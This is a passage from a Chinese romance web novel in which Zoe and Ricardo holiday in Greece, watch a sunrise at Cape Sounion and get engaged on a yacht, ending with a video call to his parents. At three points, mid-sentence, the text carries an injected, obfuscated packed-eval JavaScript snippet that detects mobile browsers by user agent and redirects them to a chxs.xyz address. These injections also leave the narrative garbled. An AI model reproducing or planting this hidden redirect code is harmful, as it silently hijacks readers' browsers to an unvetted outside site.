“你现在好像有点凶。”他眨动着那双明亮的眼睛,带着几分无辜说道,顺手从我发间摘下一片不知何时沾上的花瓣。 “我马上还会变得更凶。”我压低了声音。 话落,我便伸出手,摘下了那扇半遮着他面容的歌剧魅影式的象牙白面具,轻轻抬起他的下巴,将我的唇印在了他湿润的唇瓣之上。 “你今天就像一只伶牙俐齿的小鸟,实在是可爱极了。”他的脸上泛起淡淡的红晕,而他的嘴唇比脸颊更为红润,是一种石榴般的光泽,鲜嫩欲滴。 “是因为我戴着鸟形面具吗?”我眼梢轻挑,从容地摘下了脸上这张仅遮住眼睛、缀满蓝绿色绒毛的面具,露出完整的面庞。 他的目光在我脸上徘徊,仿佛在欣赏一件稀世珍宝。忽然间,他的手环住了我的腰肢。我穿着一条银泉般丝滑的晚礼服,隔着那层薄如蝉翼的丝绸,他手掌的温热气息源源不断地传来,竟在无形中变得愈发撩人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956425|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夜是清凉的,月亮从哥特式的高墙外照过来,往花园里投下一些模糊的陈旧幻影,像一片雀羽,一抹花影。 透过枝蔓交错的树丛,可以看到我们身旁的宅邸里,有丁香色、紫罗兰色和浅玫瑰色的灯光在交相辉映。一小群衣着华丽的人在房间里走动着,他们从一扇窗走到另一扇窗,摇动着扇子,发出的笑声像是夜莺在暗夜中怯生生却又清脆的啼鸣。 二楼的一扇窗户敞开了,一双洁白的手优雅地低垂下来,紧接着是一段修长的脖颈,似乎正朝着窗下这片花木扶疏的幽暗望过来。 坐在我身侧的男人开始亲吻我。先是吻上我的眼睛,然后是鼻尖,继而是唇峰,滚烫的鼻息扫过我颤抖的眼睑。 “你在心慌吗,甜心?连睫毛都在抖。”他闷笑着打趣道。 “轻些。”我佯装责怪,指尖却已攀上他后颈,描摹着微微发烫的皮肤,“当心弄皱你的玫瑰。” 他闻言停顿片刻,突然用齿尖叼住我的下唇,缓缓厮磨:“纸做的玫瑰才怕被弄皱,可你,分明是鲜活的。”手掌滑进我披散的发丝,指腹蹭得耳垂发烫,“会呼吸,会说话,还会咬人呢——” 未尽的话语被我的吻堵在喉间。爵士乐的旋律漫散成微茫的、若有若无的烟气,蔷薇丛里鸟儿的身影依稀可辨,周遭的一切都沉醉在情意旖旎的梦中。 “过去一个月里,我们那些热情的邻居们已经不止一次登门造访,他们还送来了许多请柬,邀请我去参加本地的名流晚宴。”我慵懒地依偎在他的怀里,语调轻柔,“但他们真正翘首以盼的分明是你。你好不容易抽出闲暇来芝加哥,我可不想让你还得周旋于那些乏味的社交应酬之中,所以都婉言谢绝了。” 他用手指抚上我的脸颊,低低应了一声:“这些活动,如果你兴致盎然,乐意前往,我就陪着你一起赴约;要是你不感兴趣,以后全都可以直接拒绝,不需要有什么顾虑。” “感恩节假期,你有什么安排吗?”他又问。 “感恩节?”我茫然重复,突然撑起身子,“天!两周后就是感恩节了!最近这段时间我忙得晕头转向,差点就把这件事给全忘了——” 话音戛然而止,我懊恼地将脸埋进他颈窝,闷声道:“斯嘉丽去年烤的火鸡简直像皮质公文包,佐餐酒居然配的是罐装啤酒!今年我绝对要和你一起过。说真的,火鸡我是一口都不想再吃了。17世纪的清教徒们因为食物短缺凑合吃火鸡就算了,到了21世纪,美国人居然还没换菜单!想想真是令人不可思议。” “火鸡的口感确实让人不敢恭维。”低沉的轻笑在头顶漾开,“其实,国际足联近日向我发出了邀请,希望我能为他们拍摄一则公益广告。” “哈?和火鸡有关?”我讶然抬起头,发梢扫过他的下巴。 他无奈道:“和足球有关。” “哦!”我一下子没忍住,噗嗤一声笑了出来,“抱歉,刚刚我还在脑海中想象着,他们是不是要拍摄一个印第安人追着火鸡狂奔,最后竟然把火鸡当作足球来踢的视频。” “亲爱的,你的想象力真是丰富。”指节在我的鼻尖处轻轻一勾,他戏谑道,“若是真按照你的创意去拍摄,恐怕那些动物权益保护者们会立刻气势汹汹地找上门来提出抗议了。” “这个广告的主题,是关于现代足球运动与古代奥林匹克运动会所共同体现的精神——友谊、团结以及公平竞争。”他不紧不慢地解释,“拍摄团队计划前往希腊进行取景,目前正在与我的经纪人协商具体的拍摄时间。我记得你之前提过想去爱琴海看看。不如我们就把行程定在感恩节那周?” “你还记得我想去爱琴海!”我惊喜道,“啧,原来某位先生其实早有预谋,这是用足球广告掩盖拐带计划呀。” 他只是微微一笑:“等我拍完广告,我们就可以一起去欣赏爱琴海的迷人风光了。那么,这位声称再也不想碰火鸡的女士,或许愿意在爱琴海尝尝希腊国菜?” “非常愿意。”我欣然点头,双臂缠上了他的脖颈。 40. 沉沦 两天之后,当我问米丽安她感恩节假期的选择——是享受一段静谧闲适的休假时光,还是奔赴一场费用全免的希腊之旅时,她毫不犹豫地选择了后者。 “太好了,我正打算让你帮我在雅典预订一项服务呢。”我对她说。 有时,时间如同狡黠的窃贼,从我们身边仓皇溜去,一切事物都如同浮光掠影;而有时,它又似一位傲慢的君主,迈着极缓慢的步伐姗姗流淌,炫耀着它永续的权柄。 等待感恩节假期到来的时光,恰恰就如同后者,漫长得让人有些煎熬。 终于,在假期第一天的早晨,经过十三个小时的漫长跋涉,我们穿越了云层的重重褶皱。机长用带着爱琴海口音的英语宣布飞机即将降落,我贴着舷窗,看见比雷埃夫斯港的游轮正划开翡翠色海面。 穿过私人航站楼的廊桥,卡拉马塔橄榄树的清香扑面而来。海关闸口处,那个穿着白色毛衣外套的高大身影正在查看腕表。我的麂皮短靴与大理石地面碰撞发出清脆急促的声响,恰似我此刻雀跃的心跳。他蓦然抬起头,在看见我的那一刻,笑意从深褐色眼底迅速溢出。 他张开双臂,稳稳接住飞奔而来的我,而后怀抱收拢,一连串亲吻落在我的发间。“甜心,我真的好想你。” 等我们踏出机场,希腊明媚的阳光和宜人的气候毫无遮拦地倾洒下来,昨日还在芝加哥的寒风中备受窒闷的皮肤,此刻终于得以畅快地大口呼吸。 “雅典一日的光照,足以抵过芝加哥一周。”我由衷感慨道。 十一月是希腊旅游的淡季。此时的雅典城,更像是一场绚烂烟火后残留的倦怠余韵。 古城内游客寥寥。蒙纳斯提拉奇广场的咖啡馆外,褪色的蓝白遮阳伞像收拢的睡莲般蜷缩着。雅典娜雕像的矛尖凝着晨露,在暖阳下闪烁如泪滴,拜伦勋爵的大理石衣褶间栖息着灰鸽,它们慵懒地啄食着路人撒落的芝麻脆饼碎屑。即便是赫尔墨斯路上那些凭借黑松露烩饭和莳萝烤章鱼闻名遐迩的餐厅,此刻也只见服务生慢条斯理地擦拭着玻璃酒杯。 在过去的两天中,广告拍摄团队一直在伯罗奔尼撒半岛西北部的奥林匹亚遗址忙碌取景。随着昨天下午古代场景的拍摄圆满收官,摄制组便马不停蹄地转移到了雅典城内,继续拍摄广告的现代部分。 里卡多从机场接到我们之后,还需要赶回拍摄现场,完成最后半天的工作。我提议今晚一起前往苏尼翁角的海神庙看日落,他立刻表示同意。 我和米丽安抵达酒店后,先将行李安置在能将利卡维多斯山景色尽收眼底的全景套房,并稍作休憩。随后,我们便兴致勃勃地开启了雅典城内的探索之旅。 到了下午,米丽安举着相机在科林斯柱廊前闪个不停,我独自坐在雅典卫城山脚下,静静看着帕特农神庙的投影一寸寸爬上狄俄尼索斯剧场的古罗马座椅,我小口小口地啜饮着微酸的柠檬汁,里卡多的电话突然打了进来。 “真的很抱歉,甜心。”听筒里传来片场此起彼伏的指令声,他的话语间满是歉意,“今天的拍摄进度比预期要晚,导演想要捕捉爱琴海上的晚霞。我们能不能把夕阳之约推迟到明晚?” 我稍作思忖,随即决定灵活调整原本的计划:“既然如此,我们不如把行程改在凌晨?一起去看海上的日出吧。” “日出?”短暂的诧异过后,他欣然赞同,“这个主意听上去妙极了。我们第一次见面的时候,就一起在海边看过日落,这次正好,换作一同去迎接日出。” - 苏尼翁角位于雅典城南,是一座气势非凡的海岬,被大海深情地用三面环绕相拥。往昔岁月里,它曾是雅典坚不可摧的军事要塞,如今则以自然景致和古文明遗迹闻名。其中,最负盛名的便是建于公元前444年的海神波塞冬神庙。 凌晨四点半的朦胧夜色中,我和里卡多一起驱车离开雅典城,沿着临海的波塞冬大道向南疾驰。大约一个小时的车程后,我们到达了阿提卡半岛的最南端。 我们下了车,顺着山坡徐徐往上行走。在暗淡的岩石群上,是一簇簇孤零零的、被风扭曲的灌木丛,到处都有银箔似的月亮洒下的细碎光影。我们不时跨过一些从草丛中探出来的大块灰色岩板,原本夹杂着霜意的空气里,现在又融入了大海的咸味。 能看到在海岬的最高处,一座宏大的希腊神庙临海而立,堂皇耸立的白色圆柱只残存下十六根,岩石砌成的地基上遍布着密密麻麻的矮草,还逗留着几株红粉色秋水仙。 我们绕过柱廊和石阶,直至抵达海岬的尽头。此刻,我们的左面是那片千年来传唱不止的爱琴海,前方横亘着浩瀚无垠的地中海,右面则是淡紫色的爱奥尼亚海。 银色的潮水在距离海岸很近的地方交缠涌动,像麦穗窃窃的私语,像骏马起伏的鬃毛,像恋人缱绻的呼吸,像爱欲交融,渴望肌肤与深情,渴望抵抗,又渴望被征服。 “‘生活,是无边无际的、浮满各种漂流物的、变幻无常的、暴力的,但总是一片澄澈而湛蓝的海。’”我靠在里卡多的怀里,失神道,“你说,当我们眺望着大海的时候,是怎么分清下面是海,上面是天的呢?我们会不会其实站在天顶上?海是插满了星星的天,天是种满了云朵的海。” “佐伊——”他呼唤我。 我从遐思中回过神,扭头望向他。 “你真美。” “我以为你早就知道这一点。”我笑着将一缕被海风吹乱的发丝别到耳后。 “不,我是说,是的,我早就知道你美得不可方物。但此刻,你就像我第一次见到你时那样美,美得仿佛不属于这个世界,仿佛你下一秒就要回到海里去了。”他用指尖非常轻地拂过我的颧骨,非常轻。 我忍不住大笑了起来:“那我是诱惑水手、让他们迷失心智的海妖,还是你心中可怜可爱的小美人鱼呢?” “无论你是谁——”他低语,“无论我是谁。我绝舍不得你化为泡沫,我宁愿和你一起跌入深海里。” 我的心微微一颤。 “可这样……你会溺死的。” 他垂下眼帘,以一种近乎神圣的虔诚,俯身将吻印在我的额头。“你的吻就是我的鳍。” “就像我们在烟花下的泳池里那样?”我浮起一个微笑,在奥兰多那晚的浪漫场景仿佛又浮现在眼前。 他点了点头。“我们将一同飞往乌托邦。”他重复我那天说的话,“你将带我去乌托邦。” 我感受到他的脸紧紧贴上我的脸颊,那宽阔美丽的额头,那郁热震颤的呼吸。海风又一次卷起我的长发,这些绸缪的发丝如同从幽深海脊蓬勃生长、肆意拱起的海藻,游弋着,散落在他的颈上和肩头,他的胸膛之上。 “倘若我是那只从河神埃克罗厄斯的血液里诞生的海妖呢?倘若在我栖息的礁石之畔,环绕着数不清的沉船残骸,堆积着几个世纪以来的累累白骨,荒芜与死寂如影随形,而在这无尽绝望里,我唯独渴望得到你的躯体、你的灵魂,将你完完全全地据为己有呢?” “我会割开束缚我的绳子,从甲板上纵身跃入海里,义无反顾地游向你。”他霍然张开双臂把我拥入怀中,仿佛要将我拼命揉进他的骨血里,与他的生命彻底交融,“佐伊,如果没有你的爱,我的一切都将化为乌有,不复存在。我的世界将再无意义。” 我怔愣了一会儿,片刻后,缓缓抬起手,指尖落在他的后背,顺着他的脊椎一节一节地蜿蜒而上,他的肌肤在我的手指下微微颤栗,他的神情诉说着他此刻有多么狂热。 那双褐色的眼眸,是春雾脉脉的小泾,填满了喁喁情话,而所有的太阳都在其中弄影;是鸟群掠过的一片惊涛骇浪,让我总也忍不住踮起脚来啜饮。 “你已经游向我了,我的奥德修斯。”我贴向他的心脏,喃喃道,“我也如同帕耳塞洛珀那样爱你。与你一同沉沦。” - 空气恬静而略带凉意。从浩瀚海面吹来的微风环绕着海岬,我裹紧羊毛披风,里卡多从身后揽着我。 西边的天穹上,满月的色彩由深沉的赭红色逐渐变为黄铜色,再变为银白,将它泛起波纹的忧郁倒影浸入黑蓝的海面,犹如沉入水中的清澈花朵。海浪无休止地拍打着岩石,惊醒了在绿礁石上沉沉入眠的海鸟,在黑色幽草间濯濯飞翔的鲻鱼群。 渐渐地,天幕在太阳即将跃出之际透出一层淡淡的暖调。东南方海平面的边缘,一抹亮光开始显现,如同一条细细的丝线,被拉扯得越来越亮,越来越明显,直至彻底晕染铺开。珍珠色的云朵一丛丛盛开到极致,簇拥着乳光虹彩的花心,边缘则被镀上灿烂的金边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956426|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转瞬间,海湾与岬角的轮廓愈发清晰,从海平线上探出的圆形花心膨胀鼓噪,颜色是由深红转向橙红的完美过度,像一颗缓缓睁开的巨人的赤金色独眼,流泻下万千涟涟波光,像无数颗钻石在海面上跳跃嬉戏,又像空中花园在海底呼吸。 - 十一月的拂晓,我的天使在橙黄色的曙光里坠落,翅膀滑过天边化作云裳。 我赤脚穿过海岬,砂石刺痛我的脚掌,晨露沾湿我的裙摆和发梢。 从爱琴海对岸而来的海风跋涉一千里,拂过它所见到的第一片希腊人的土地,掠过波塞冬神庙的柱廊,呜咽啜啜,吹响了盲诗人荷马所称颂的那只神圣海角,于是远方的旅人拨动起黄金年代的竖琴。 那天使的灵魂,湿漉漉的灵魂,我将他打捞起来,一寸寸展开,抹掉他的折痕,吻去他的水珠,将他晾放在海岸边的蒺藜丛里,在黎明的第一缕光辉之下。 那基督,他已将祂的一切恩典忘却。 尘世间的爱情啊,如此低微,如此熠亮,七重天盛不下的千百万星辰,在爱人的眼睛里。 - “我想,我找到那个问题的答案了。” 我怔了怔,恍然惊觉:“是莱昂之前抛出的那个问题?” 他点点头,他牵着我的手,他的眼睛那样亮。 我情不自禁地笑起来:“那么,你究竟是因为什么才爱我呢?” “因为你就是你。因为你的骨和肉,与你的思想、你的心志一起构成了你。这世上人来人往,熙熙攘攘,可再也没有第二个佐伊了。这样闪耀的、让我惊叹的佐伊,这样美丽、勇敢、生机勃勃的小姑娘。不是谁的赐予,不是谁的造物,是我生命中的奇迹。” 我解下披风,随手抛在地上,然后摇晃着他的手,踩在荒草横生的岩地上,一步一步,把他拽得东倒西歪。他起初想稳稳扶住我,却被我拉着转起了圈,我火红色的长裙旋转成了一朵花苞。 我退后两步,双手提起裙摆,怪模怪样地朝他屈膝行礼,他微微一愣,旋即弯下脊背,右手横在胸前,很有绅士风度地冲我回礼。 “我教你跳弗拉门戈吧!”我满心欢喜地大喊,“里卡多,我也只愿与你共舞!” 最后我们在风中精疲力尽,乐不可支。 “我的答案你其实早就知道。”我们肩并肩坐着,在悬崖之上,我轻声说,“世人爱天使的光芒,上帝爱羔羊的虔诚,而我只爱你的灵魂。因为年华将逝去,辉煌亦作土,灵魂却如永恒的活火,始终变化,又始终如一。” 他握住我的手举到唇边,将嘴唇深深贴了上去。晨光熹微下,我的手掌宛如紫贝,透出淡红的玫瑰色。 “神明的手本许信徒接触,掌心的密合远胜如亲吻。” - 之后的时间里,我们静静依偎在一起,看着黎明驾着它银亮的犁,犹如鸽群腾空犁开夜幕,又如激荡的马驹狂奔过那些连绵的山丘和海湾。 金色和赤色的光辉缓缓涨满整个世界,我的心忽而触动了一下。 “我也想问你一个问题。”我望进他的眼睛里,那里面的光泽变得愈加瑰丽。 “里卡多,你灵魂的归宿在哪呢?” “从前,我的灵魂栖息于主的身畔。”他轻叹道,“十八岁那年,祂救赎了我,赋予我新生,那是我生命中最深刻的转折。从那时起,我便决心用一生去回报他的恩赐。” “现在呢?” 亮光闪烁的歌声在山崖下越来越响,渐成曲调,跌宕着的巨浪的琴弓撞上泛着天青色光泽的岩壁。鸟鸣声像是被神之手雕琢成镰刀形状的新月,向着碧波抛撒,水珠飞溅跳跃,银光徘徊晃动,宛如投入了爱的胸怀。 “我的初衷从未改变,我仍愿将祂的福音传遍四野。而我的灵魂——我的灵魂已经找到了新的栖息之地。” 笑意在他的唇上、他的眉宇间轻漾,慢慢地,慢慢地燃烧成了一种放荡不羁的美。 “佐伊,你曾经说过,你有着一条孤独的逻辑。现在我想要告诉你,你的逻辑不再孤独。” “我亦以爱来滋养灵魂。” - 那灵魂刚从隐蔽的暗角探出身来,爱欲啊,立即迎上前去。 唯有在灵魂的渴望中,才能与灵魂同在。 41. 未婚妻 我们沿着山道,朝着山脚下的海边漫步而去。 浅浅的泥土上点缀着鲜艳的深紫色番红花,一片片米粒般大小的白色荚蒾无畏地绽放着,它们稠密的伞形花序像是撒在绿野间的珍珠粉末,显得多么精致和可爱,而这一切都与大海柔和的色调相辉映。 和风吹来,所有植物都在翩翩起舞。岩石的缝隙中伸出了结实的香桃木,褐色的枝干上挂着一簇簇蓝色的小果实,还有铺满整块巨岩的乳香黄连木,被阳光烘焙得格外松软。 俯瞰山下,一大片亮绿色的圣彼得草覆盖着海岸,岸边有一个小小的码头,木质栈道一直延伸到海水中。 栈道旁,一艘白色豪华游艇正静静停泊在那里,宛若一只枕着波浪休憩的白天鹅,流线型的船身如同天鹅收拢的羽翼。 我攥紧里卡多的手腕,带着他踩上栈道。 “我们这是去哪?”他惊异道。 “当然是去那艘游艇上。” 他睁着茫然的眸光,就这样被我半推半就地领着,踏上了晃动的舷梯。 游艇的多功能厨房里,厨师正在炉灶和料理台之间穿梭。骨瓷盘中,橙黄的海胆膏流淌在清甜的青芒果丝上。炉火上,橄榄油在锅中轻轻跳跃,新鲜的海虾和龙虾肉在高温下迅速变得焦红,甲壳爆裂的脆响混着蒜末与迷迭香的香气在空气里弥漫。吐司在烤面包机中慢慢变成金黄色,脆边微微翘起,预示着完美的口感。 “这是一个惊喜。” 这艘三层游艇总长约94英尺,大面积的玻璃舷窗对爱琴海的阳光足够欢迎,将海天盛景温柔框入。主甲板依次容纳了由沙发休息区和餐厅组成的沙龙区、开放式厨房和半抬升式的驾驶台。螺旋形台阶通往下层甲板的四间船舱:船舯部的船东套房,位于船艏的贵宾舱,以及两间船员区的双人卧舱。 而另一座透明楼梯则通往最上层的飞桥区域,这里视野开阔,是眺望大海的最佳观景台。此处还配备一座露天驾驶台,为游艇的驾驶增添别样乐趣。当上方的玻璃硬顶徐徐开启时,掠过发梢的不止是海风,还有盘旋追随船尾的银鸥鸣叫。 身着制服的希腊船长、船员和侍者正站在船头迎接我们。我们用英语相互问候,然后由船长带着我们简单参观船内空间。 之后,我和里卡多沿着左舷来到露天艉阱。这里铺设着淡黄色的柚木甲板,船艉处设有一面结实的玻璃护墙。 我们依偎在藤编沙发里享用早餐。海风轻柔拂过,我的栗色长发有时缠绕在他亚麻衬衫的纽扣上,他的目光始终未曾从我身上移开。 我慢悠悠地吸着玻璃杯里的果汁,不经意间抬眸,对上他未散尽的惊讶神色,我停下来看他:“你想说什么?” 他缓缓地眨了眨眼,似是仍有些回不过神。过了片刻,他低下头,捻起一缕发丝,指尖微微用力,耐心地将它从纽扣的缝隙中抽出,一缕,又一缕。为我解开最后一缕发丝后,他的手停顿了一瞬,才抬起头望向我:“秘密筹备了多久?我一点儿都没察觉到。” 我难以抑制地露出一抹笑容,但很快便敛起得意的神色,将嘴角的弧度藏好。 “来希腊的一周前我就预定好了。原本的计划是,我们在海边欣赏落日,待夕阳完全落下,夜幕降临,就一起登上游艇共进晚餐,就此开启属于我们的海上假期。但计划总是赶不上变化。不过,虽然行程有些变动,但这也算是一种别样的惊喜。昨天下午,接到你的电话之后,我就让米丽安通知船长,让他在日出之后再抵达这儿。在我们出城后不久,米丽安和尼克已经悄悄把我们的行李送上了船。索性,之后的一切都很顺利。” 游艇已经驶出了一段距离。现在的海面平静如镜,唯有我们的小白船在透明的镜面上划开了一道流动的条纹。 白云一朵又一朵地堆叠得低低的,像是一只只被主人垒起来的绵羊羔,仿佛从船顶上一伸手就能摸到洁白的羊毛,而羊群之间是调和得恰到好处的蓝色。 沿着整个海岸线分布的低矮山峦和建筑群在金雾中依稀显出轮廓,随着游艇的前行,它们在每一次眨眼后就会缩小一圈。一群飞鸟的影子在波光中一闪而过。 “怎么不刷我的卡?”他问。 果汁已经见底,我轻咬着薄荷绿的塑料吸管,声音带着些许含糊:“宝贝,要是刷你的卡就不叫惊喜了。” 他从我的嘴里把那根被我的牙齿蹂躏得不成样子的吸管拯救出来,然后拿起叉子,叉起一只他细心剥好的鲜嫩大虾,沾上酱汁,送到我的嘴边。 我“啊呜”一口将虾肉吞下,满足地眯起眼睛。“你觉得如何?喜欢吗?虽说这肯定比不上你的那艘,唔,‘漂浮的豪宅’。” “非常喜欢。”他认真地说,“而且,这当然不是一艘‘漂浮的豪宅’,这是一座‘漂浮的伊甸园’。” “哇哦,”我吃惊道,“即便是对于一艘豪华游艇来说,这样的称赞也太过隆重了。” 他忍不住笑了起来,伸手刮了刮我的鼻子:“甜心,你的身边不正是我的伊甸园吗?” - “好舒服呀。” 许久后,我歪着头,靠在他的肩膀上,既天真又惬意地舒了一口长气。我的指尖无意识地在他衬衫袖口上画着圈,与海浪的节奏渐渐重合。 桌上的早餐已经被我们吃得七七八八,餐盘刚刚被侍者收走,又为我们更换了冰镇银桶里融化的冰碴。玻璃杯壁上凝结的水珠滑落,在柚木餐桌上晕开一小片深色的痕迹。 “我想送你一样东西。”他柔声道。 “什么呀?”我扭头去看他,发现他的一只手不知何时已经悄然背到了后背。 他从背后把那只握成拳的手伸到我面前。我玩心大起,一根一根地掰开他的手指,手心里是一块包裹得鼓鼓囊囊的绒布。 “这么神秘?”我促狭道,又瞧了他一眼,发现他故作镇定地抿了抿唇。 我转回目光,用手指一挑,那方撒满新月和太阳的黑丝绒便如帷幕般展开。四角翩然垂落,一枚闪着光的硕大的宝石戒指出现在我眼前。 我的目光瞬间被这块宝石紧紧攫住。 它呈现出一种美丽的霓虹般的蓝色调,却绝非单纯的蓝可以定义,更像是冰蓝与雾绿在一场隐秘的交融中,衍生出的独特渐变。而仅仅用蓝绿色来形容它,似乎又远远不够,因为那澄澈的色泽深处,正隐隐浮现出一丝月光般清冷的灰晕。 “巴西的帕拉伊巴州出产的碧玺,由于含有铜和锰,所以宝石呈现出一种明亮的蓝绿色调。”他微笑着说。 我怔愣着凝视着这枚戒指。它被打磨成一个完美无缺的圆形,被一圈花瓣似的碎钻所簇拥,每一道切面都折射出令人心醉的光芒,像是一颗搏动着的大海的心脏,一轮沉入水底的圆月,一只鸟儿的明媚眼眸。 “是你的眼睛。” 我将目光从戒指上移开,落在他的脸上,那丝微笑始终停留在他的唇角。 “它拥有你眼睛的颜色,而我又将它设计成你瞳孔的形状。”他的嗓音轻柔得像是梦境中漂浮的气泡,“因为你的双眸就是两只小小的月亮,就是潋滟流转的波光。” “你设计的?” 他温柔地注视着我,点了点头。“我看遍了无数种宝石,直到看到它,似月华般明亮,像海水般洁净。但愿它的光芒能稍稍衬托你眼眸的熠熠华彩。” 说罢,他小心翼翼地托起我的左手,将戒指缓缓推入我的中指。 “你愿意做我的未婚妻吗?”他轻声问。 “什么?”我猝不及防地睁大了双眼。 “我知道你不想过早结婚,我也觉得你现在需要专心学业。但我——”他突然住了口,喉结轻轻滚动,像是在吞咽难以言说的情愫,他的脸上赫然升起一阵深红。 “请原谅我的自私,但我真的想要一个,一个比男友更加能让我名正言顺陪伴在你身边的身份。”他有些局促地撇开目光,赧然道,“所以,我们不如先订婚吧。” 我直愣愣地盯着他,试图强迫我模模糊糊的大脑飞速运转起来,努力梳理出那些名为理智的思绪,可此刻,它们却像是被任性地丢在了荒芜的岸边,和我隔着有整整半个大海呢! “我没想到,我,我不知道该怎么说……”我喃喃道。 “其实,我的计划也出了些差错。嗯……原本的计划不是在这里。我预定了一个餐厅,在爱琴海的小岛上,我原本打算在今晚问你。” 他握着我的手指,用指尖轻轻摩挲着,仿佛那是一只栖息在他掌心,却随时会因一丝扰动而扑翅惊飞的鸟儿。 “不过,我不想等到今晚了。我实在按捺不住了。”他的声音微微发着颤,“佐伊,长久以来,我对你的爱意在我心里贪婪膨胀,每一秒它都在积蓄力量,已经长成一个庞然大物了。如果我现在还不说出来,那么它就要硬生生地撑破我的心壁,把它自己释放出去了!” 我下意识地将他的手攥紧,太阳穴在狂热地突突直跳。我忽然发现,尽管我残留的那一点水汽氤氲的理智正满心不情愿地抵触着我的欲望,它隔着整条海湾向我呐喊: “你太稚嫩了,亲爱的!你的羽翼尚未丰满,至少还没到能和一个男人订婚的份上!”但我的目光实在无法从这个清晨里他美丽非凡的脸上移开分毫。 让他的神情始终充满光彩和喜悦,对我而言竟是那么重要! 而我可能愿意付出一切,以确保自己不会失去那种感觉——那既是一种能将所有意识都浸没和搅碎的,如同春天解冻的碎冰一路欢歌着涌向下游般流向他的永不疲倦的爱意;也是一种纯粹到极致、原始得近乎本初的力量,是在这世界上蛮横地、温柔地牵引着我的绳索。 一端系着我漂泊在虚空中的灵魂,另一端连接着那危险的、闪亮的光曙之地。当我从漆黑进到光明,我分明听见了黑暗在我身后发出愤怒咆哮,而在靠近黎明的瞬间,每一寸肌肤都战栗着对未知的隐忧,可灵魂的蹁跹却让我品尝到的快乐无以言表! “可是,我还没见过你家人呢。”半晌后,在他满含忐忑与期待的目光里,我微微垂眸,轻声说。 他的面庞刹那间燃起狂喜,就像旱季干枯蜷缩的花朵,在潮湿气流裹挟着生机来临之际,蓦然撑开花瓣的绚丽。 “他们都非常喜欢你,早就期待着能见到你。你完全不必担心他们的看法,我跟他们说我找到了此生的挚爱,他们都为我感到开心。” “甜心,要是你在意这件事,那不如就现在见个面吧。”他热切地说。 “现在?”我失声惊呼。 他立刻用力地点了点头。“对,就现在!我这就给西蒙妮打个视频电话。”他的手已经飞速伸向口袋。 我顿时目瞪口呆地望着他,大脑仿佛被一键清空。老天啊,巴西和希腊足足相差了5个时区,此刻的圣保罗仍然陷在深夜之中。在这么晚的时间去打扰他的家人,真的合适吗?这会不会显得太过冒犯了? “里卡多,等等,现在这个时间——”我的话音还在空气中慌乱回荡,就眼睁睁地看着他的手指在屏幕上迅速点击,拨通了电话。 “里奇?”电话那头传来一个略显疲惫但依旧温和的声音。 紧接着,画面渐渐清晰,屏幕里出现了一位五十多岁的女士。她有一张和里卡多相似的面容,头发有些凌乱,睡眼惺忪,但眼神里满是慈爱。 “晚上好,西蒙妮。”我身边的男人露出一个傻里傻气的笑容,“我想让你们见见佐伊,我们正在雅典度假,就在刚才,我请求她成为我的未婚妻。”说着,他迫不及待地将手机镜头转向我。 紧张在心底翻涌,我努力挤出一个微笑:“你好,西蒙妮,很抱歉这么晚打扰你们……” 出乎我意料的是,西蒙妮的眼中居然闪过惊喜的光芒,整个人刹那间精神了许多,原本带着困意的眼神变得明亮有神。她脸上绽放出的笑容,和我身边这个男人如出一辙,温暖而亲切。 “宝贝,别这么说,我一直盼着能见到你,里奇实在是把你藏得太深了,你比照片上还要美丽可爱!你们现在在雅典?我几年前也和他爸爸一起去过那儿,那是个充满古老韵味的浪漫之都。博斯科,亲爱的,你也来见见佐伊。” 话音刚落,画面里又出现了一位中年男士的面庞,他面容和蔼,想必就是他的爸爸博斯科。 “你好啊,孩子,虽然是第一次见到你,但我们对你一点也不陌生,里奇每次和家里通电话都会提起你。” 我连忙应道:“我也一直很期待能见到你们。里奇经常跟我讲起他小时候在圣保罗的趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956427|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,让我感觉非常亲切。” “亲爱的,里奇刚才向佐伊求婚了。”西蒙妮在一旁悄悄说,声音里带着掩不住的兴奋,这让我不由地有些羞赧。 “只是订婚。”我小声解释道。 “哇哦!恭喜你们!”博斯科立刻说道,“佐伊,欢迎你加入我们这个大家庭,我们全家人都非常喜欢你。” “里奇有准备戒指吗?是不是在爱琴海边求婚的?我希望我这个儿子能在关键时刻多些浪漫。”西蒙妮调侃道。 我扬起手,将手上的碧玺戒指送到视频镜头前。“我们正在爱琴海的游艇上,里奇送给我这枚戒指,是他自己设计的。” “太美了!”西蒙妮赞叹道,“宝贝,这戒指和你眼睛的颜色简直太相称了!” “这艘游艇是佐伊预定的,”里卡多补充道,“我们都想给彼此一个惊喜——” “没想到对方也早就准备好了一份惊喜在等着自己。”我接话道。 “就像是莎士比亚的爱情喜剧对不对?”西蒙妮笑道,“要我说,你们两个确实是天作之合。” - 